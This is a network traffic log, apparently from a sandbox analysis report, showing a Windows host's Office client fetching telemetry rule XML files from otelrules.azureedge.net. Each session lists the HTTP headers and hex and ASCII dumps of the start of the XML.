2024-11-18 23:02:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:29 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:29 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 1d8bef7c-801e-002a-176f-3731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230229Z-17cf5b775c482xjhhC1DFWhqac00000000d0000000005v78 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49879	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:29 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:29 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:29 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230229Z-16547b76f7ffqpvqhC1DFWwf3n000000011g00000000bedm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:29 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49880	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:29 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:29 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230229Z-16547b76f7ffqpvqhC1DFWwf3n00000000y000000000bqzz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49882	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:30 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:30 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 73840edb-001e-0034-7def-39dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230230Z-16547b76f7fr5rfnhC1DFW0am400000003x000000000ha3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:30 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49881	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:30 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:30 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230230Z-16547b76f7fsq6p7hC1DFWfx6800000004y000000000b210 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:30 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:30 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:30 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230230Z-164f84587bftbpb6hC1DFWm4kg00000005a0000000003ut6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:30 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:30 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 7df85bc9-601e-000d-7a26-372618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230230Z-164f84587bfrrmqdhC1DFWvu6s0000000550000000003hn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49885	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:30 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15349be3-801e-0047-5579-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230230Z-17cf5b775c4jcv75hC1DFW1gm000000000m0000000005qrq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49887	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:30 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:31 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230231Z-16547b76f7fp6s5dhC1DFWe28g00000003q000000000gddv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:31 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:30 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:30 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230230Z-16547b76f7fw2955hC1DFWsptc00000006x000000000ntub x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:31 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:31 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230231Z-16547b76f7fp6s5dhC1DFWe28g00000003sg0000000067ay x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49889	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
